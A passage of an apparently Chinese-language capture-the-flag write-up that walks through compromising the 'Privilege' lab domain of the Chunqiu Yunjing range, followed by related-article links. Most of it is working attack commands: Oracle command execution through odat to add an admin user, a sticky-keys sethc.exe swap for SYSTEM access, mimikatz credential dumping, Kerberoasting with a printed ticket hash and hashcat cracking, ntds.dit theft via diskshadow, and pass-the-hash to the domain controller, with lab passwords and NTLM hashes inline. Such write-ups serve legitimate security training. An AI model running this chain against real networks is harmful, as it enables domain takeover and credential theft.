      "group_access": null
    }
  }
]

把一些项目克隆下来看看

复制代码 
proxychains4 git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/internal-secret.git

proxychains4 git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/xradmin.git

proxychains4 git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/xrwiki.git

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账号和密码

可以通过navicat连接数据库查看, 不过可能会出现一些报错, 可以通过这篇文章解决
https://blog.csdn.net/qq_38974638/article/details/115069664

但也可以不需要连接上去, 可以通过odat直接执行命令,xradmin用户具有 SYSDBA 权限

odat是一个专门用于渗透测试 Oracle 数据库的开源工具

添加管理员账户方便远程连接rdp上去

复制代码 
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user xpw 123qwe! /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators xpw /add'

dbmsscheduler 是 odat 的一个模块，利用 Oracle 的 DBMS_SCHEDULER 包,这个包允许创建调度任务，这些任务可以在数据库服务器上运行 shell 命令（如果权限足够）`

-s: 指定数据库服务器
-p: 指定端口
-d: 指定数据库 SID（系统标识符）或服务名称
--sysdba: 使用 SYSDBA 权限连接到数据库, SYSDBA 是 Oracle 数据库中的高特权角色，授予对数据库的完全管理访问权限，并且通常能够执行作系统命令。
--exec: 执行shell命令

添加完管理员账号之后直接rdp连接上去

复制代码 
proxychains4 xfreerdp /u:xpw /p:123qwe!  /v:172.22.14.31 /drive:share,/mnt/xpw/kali_shard

可以直接查看flag

SeRestorePrivilege提权

之前git clone的项目里面还有一个存储了很多账户的文件

internal-secret/credentials.txt

找到一个 XR-0923的账号密码, 前面fscan扫内网可以扫到这个主机

复制代码 
172.22.14.46 	XIAORANG\XR-0923

用这个用户名rdp上去 (权限不足无法查看flag)

复制代码 
proxychains4 xfreerdp /u:zhangshuai /p:wSbEajHzZs  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

查看一下这个用户的一些信息

复制代码 
whoami /priv #查看用户的特权
net user zhangshuai #查看用户的详细信息

会发现用户在Remote Management Users组内(远程管理用户组)

可以通过WinRM协议进行远程管理，而evil-winrm正是利用WinRM协议的工具

默认情况下，WinRM使用端口5985（HTTP）或5986（HTTPS）, 可以看到系统开放了相应的端口, 所以可以使用evil-winrm工具进行连接


evil-winrm连接

复制代码 
proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

会发现用户的特权还多了一些

会发现存在SeRestorePrivilege的特权，

SeRestorePrivilege是一个高权限特权，允许用户绕过文件和注册表的访问控制列表（ACL），直接修改系统文件或者编辑注册表

我们可以把cmd.exe重命名为sethc.exe，sethc.exe是Windows辅助功能的一部分，当用户在锁屏界面连按五次Shift键时，系统会以SYSTEM权限运行sethc.exe（即粘滞键程序）,将cmd.exe伪装成sethc.exe，用户可以在锁屏界面触发命令提示符，并以SYSTEM权限运行, 从而完成提权

复制代码 
cd C:\Windows\System32
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

切换到C:\Windows\System32目录下, 这个目录下存在很多关键的可执行文件
ren重命名文件

完成前面操作后再通过rdp远程登录上去

复制代码 
proxychains4 xfreerdp /u:zhangshuai /p:wSbEajHzZs  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

通过锁定账户, 进入登录页面, 然后按5下shift 键, 触发粘滞键程序, 从而运行伪装成sethc.exe的cmd.exe, 并且是system权限

添加一个管理员账户用于rdp远程登录, 前面zhangshuai账户只是一个普通用户, 很多权限都不足, 所以需要添加一个管理员用户

复制代码 
type C:\Users\Administrator\flag\flag03.txt
net user xpw 123qwe! /add
net localgroup administrators xpw /add

然后再以添加的管理员账户rdp登录上去

复制代码 
proxychains4 xfreerdp /u:xpw /p:123qwe!  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

mimikatz

上传一个猕猴桃, 抓取用户hash

复制代码 
privilege::debug
sekurlsa::logonpasswords

可以抓取到机器账户的NTLM值

复制代码 
31e653ce951ba9faaefbc64dcc6126f1

spn

拿着 XR-0923$ 的ntlm哈希查找SPN能找到一个tianjing用户

复制代码 
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':31e653ce951ba9faaefbc64dcc6126f1' -dc-ip 172.22.14.11

拿tianjing用户的TGS票据

复制代码 
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':31e653ce951ba9faaefbc64dcc6126f1' -dc-ip 172.22.14.11 -request-user tianjing

离线爆破明文

复制代码 
$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$2a9fad23d5375b846ff6d5d6d1f48efc$44b39ad4d62380b44b66af2f769c37995611ac6d0fba46d1224f22ef3d8ca8a3139d2584325e0fe73336f8a1e96bd7d19a7e008a61ec097730feec02eb090f03b64b05123843c4a08e10e42c69a5508edca8be40f6875118055d111c04187b9bb3509201f3f4993b3d8a25b14703e8406460d44f927cf89b7c8e02c1ffa67117bef6d0cc9af2628a4e1c04f25d0fb4523f57674102c67b3d9643f60f64bde96c75c482f778fcd7cd2d86a90597098c930ff8a4b322e6adf0bf4f0a57c0b33ebd7082b271ed439b7cf7ced8b3d310ad3e21c4174a2d70b12a57cc78cd756625327d42a30d34b9c6dd179043604001a015e8be674987c89633e007b881fb773cac233e011fba4f0aad9bd78ba439ae8d0ec771553ed39b47a6e6a4068e2495dcee59d29c9f37f3e0b2089d9071a47e81f116a1b7c8b7e43a3872861aa2458c2316b304933e9a62d9e9857a9e02e67cd40db29b6605e1d5688c8c24da9d1c762b271183f9b79bed008c64cd3bed9d9c9850be4b5b56ae71753826c6e9f4f183b0ec84f60597fd44ffe55ebb80913440f42d1f789efecfe6bf0a7970178991308cc44132577769fa2e186749d4f95602dce7c1c2849882de6acd458cc4f12e36e66d20441514a7b87b397f3898dc6cfc7cb0cc7aeaa591ddb15c1624444e2cb977c001c2ad186cf0dd868fb4bfcf5a062d22a5257c23d3326f3b7b17a7328c9524f827f9bbdd346a0abde6cf99cd35b3fd4babfb39da923e8b82181104ccdcd64c015db187abe3ad9f3b0e912a4422971669d8c79293e67dc544ef0ad60401d162332066037397be93929b526abaf646435c06d5d65dca03b0647628d7f77732d9df99796dc76fc82be97580bbc83525633b7a0605dc5746230cddcd692dff8ef7d5da1bc7439a1cac14efcc61e9572dba07b95c9ae1631cc42f6ae437dd1ce8bee8b5e5e2353c94fbbc554ab4568edf20c1f3a6f5f1d7471a4de755d40c2bf043f5725b285e996ab16fb193a90774bb3d7bdbc55c348b9d336bc0519c9850e373f670eae10e89a481fc5fd6463be9dbb89acaf3e1405b8be03f6bab0d74abf4d9c4dac9762cf35f73cf964437fcd7fccbbe70760833965a970974a8dec0b3f3593c0e9c3969c5adf68c14a8d2888be837fca2311482dd260d2845d0025f8e5ec32faaf852d0f28c5425cd07f937b15f7119945dfda3738105117f32a41afaf1c6471d56a0c6c8dfbb865fe696de816fa6a17d673a419ef4a900e7f7657af74af593547655066159cd4334d0c63c5bc66dc2c981df6489735f41560834eae28358c1e83cc45af139b01e44cfb0c1ca754d7f01d752b6ab0de762dfe9e26032df3b158a2d6a060ca6c2b9372c8b11f955a2e35e6cc3bf3a44070178a1910464f5ec7bb1d3091ad277339c8717ceefc95fdd4e5885fdd108add441785ed27a6d6d5ad96fad59a3a4205b4e2ac7d0d63535243c850d6a2c1d

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

爆出明文DPQSXSXgh2

卷影拷贝提取SAM

可以通过evil-winrm连上去

复制代码 
proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

存在 SeBackupPrivilege 和 SeRestorePrivilege 特权

有备份以及还原文件或目录的权限，可以卷影拷贝然后下载ntds.dit文件

本地创一个raj.dsh，写入

复制代码 
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接着用unix2dos raj.dsh转化格式

前面evil-winrm连上去的切换到C目录，然后创一个test文件夹切换过去(不然后面会没权限)，把本地的raj.dsh上传上去

复制代码 
mkdir test
cd test
upload raj.dsh
复制代码 
diskshadow /s raj.dsh

复制到到当前目录，也就是我们创建的这个test目录

复制代码 
RoboCopy /b z:\windows\ntds . ntds.dit

把ntds.dit下下来 (速度比较慢)

复制代码 
download ntds.dit

接下来下载system(用的是SeRestorePrivilege特权)

复制代码 
reg save HKLM\SYSTEM system
download system

最后用下载下来的ntds.dit和system本地进行解密

复制代码 
impacket-secretsdump -ntds ntds.dit -system system local
复制代码 
70c39b547b7d8adec35ad7c09fb1d277

pth拿下域控

复制代码 
proxychains4 impacket-smbexec -hashes :70c39b547b7d8adec35ad7c09fb1d277 xiaorang.lab/[email protected] -codec gbk

或者

复制代码 
proxychains4 evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

参考文章

复制代码 
https://fushuling.com/index.php/2023/10/10/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7privilege/
https://zer0peach.github.io/2024/12/27/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-privilege-writeup/
相关推荐
kp000006 分钟前
Tunna工具实战：基于HTTP隧道的RDP端口转发技术
网络安全·内网渗透·安全工具
I_WORM12 天前
[春秋云镜] CVE-2023-23752 writeup
安全·靶场·春秋云镜·cve-2023-23752
亿.619 天前
[春秋云镜] Spoofing仿真场景
内网渗透·春秋云镜
Asymptote02131 个月前
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
网络协议·信息安全·学习笔记·渗透·内网渗透·奇安信·kaliklinux
胡耀超1 个月前
内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编；郑州、雷珊珊、王伦 副主编)》)
linux·windows·安全·web安全·网络安全·内网渗透·安全治理
神经毒素2 个月前
WEB安全--内网渗透--Kerberos之AS_REQ&AS_REP
安全·web安全·内网渗透·kerbreos
神经毒素2 个月前
WEB安全--内网渗透--捕获NET-NTLMv2 Hash
安全·web安全·内网渗透·ntlm
神经毒素2 个月前
WEB安全--内网渗透--利用Net-NTLMv2 Hash
安全·web安全·内网渗透
炫彩@之星2 个月前
内网渗透-MySQL提权
渗透测试·内网渗透·udf提权·mysql提权
热门推荐
01Coze扣子平台完整体验和实践（附国内和国际版对比）02【图像处理与机器视觉】XJTU期末考点03KGG转MP3工具|非KGM文件|解密音频04海康Visionmaster-常见问题排查方法-启动阶段05从零安装 LLaMA-Factory 微调 Qwen 大模型成功及所有的坑06YOLOv8入门 | 重要性能衡量指标、训练结果评价及分析及影响mAP的因素【发论文关注的指标】07DeepSeek各版本说明与优缺点分析08R-tree详解09【SpeedAI科研小助手】2分钟极速解决知网维普重复率、AIGC率过高，一键全文降！文件格式不变，公式都保留的！10零代码入门 | Coze——让大模型接入自己的数据库